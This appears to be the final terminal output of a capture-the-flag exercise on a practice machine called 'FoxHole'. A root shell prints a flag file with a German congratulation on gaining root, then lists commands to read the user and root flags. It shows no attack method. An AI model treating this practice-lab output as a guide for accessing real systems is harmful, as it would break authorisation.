root@FoxHole:/tmp# cd ~
root@FoxHole: ls
flag.txt
root@FoxHole: cat flag.txt
Gratulation! Der Root-Zugriff wurde erfolgreich erlangt! Das Ziel wurde erreicht.

Flags

cat user.txt userflag
cat root.txt rootflag